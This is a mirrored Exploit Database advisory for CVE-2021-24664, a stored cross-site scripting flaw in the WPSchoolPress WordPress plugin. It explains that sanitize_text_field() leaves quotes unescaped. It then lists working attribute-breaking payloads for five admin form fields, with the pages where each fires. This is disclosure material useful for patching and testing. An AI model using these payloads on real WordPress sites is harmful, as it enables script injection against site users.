WordPress Plugin WPSchoolPress 2.1.16 – ‘Multiple’ Cross Site Scripting (XSS)

• Exploit Database
• 18 阅读

• 作者： Davide Taraschi
  日期： 2021-11-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50520/

• # Exploit Title: WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS)
  # Date: 20/08/2021
  # Exploit Author: Davide Taraschi
  # Vendor Homepage: https://wpschoolpress.com/
  # Software Link: https://wpschoolpress.com/free-download/
  # Version: up to 2.1.17 (non included)
  # Tested on: Ubuntu 20.04 over WordPress 5.8 and apache2
  # CVE : CVE-2021-24664
  
  # Description:
  The plugin sanitise some fields using a wordpress built-in function called sanitize_text_field() but does not correctly escape them before outputting in attributes, resulting in Stored Cross-Site Scripting issues.
  The function wp_sanitize_text_field() escape < and > but does not escape characters like ", allowing an attacker to break a HTML input tag and inject arbitrary javascript.
  
  # PoC:
  As admin,
  - Add a new teacher attendance (/wp-admin/admin.php?page=sch-teacherattendance), Tick the Absent box and put the following payload in the Reason: "style=animation-name:rotation onanimationstart=alert(/XSS/)//
  The XSS will be triggered when adding another teacher attendance by clicking on the Add button
  
  - Add a new Student Attendance (/wp-admin/admin.php?page=sch-attendance), tick the Absent box and put the following payload in the Reason: " style=animation-name:rotation onanimationstart=alert(/XSS/)//
  The XSS will be triggered when adding another attendance by clicking the 'Add/Update' button
  
  - Add a new Subject Mark Field (/wp-admin/admin.php?page=sch-settings&sc=subField) and put the following payload in the 'Field': " autofocus onfocus=alert(/XSS/)//
  The XSS will be triggered when editing the created Subject Mark (ie /admin.php?page=sch-settings&sc=subField&ac=edit&sid=3)
  
  - Create a new Subject (/wp-admin/admin.php?page=sch-subject), with the following payload in the Subject Name field: " autofocus onfocus=alert(/XSS/)//
  The XSS will be triggered when editing the Subject
  
  - Create a new Exam (/wp-admin/admin.php?page=sch-exams) with the following payload in the Exam Name Field: " autofocus onfocus=alert(/XSS/)//
  The XSS will be triggered when editing the Exam=20
  
  Note that some of this XSS issues can be executed by a teacher (medium-privileged user), but since wordpress uses HTTPonly cookies is impossible to steal cookies.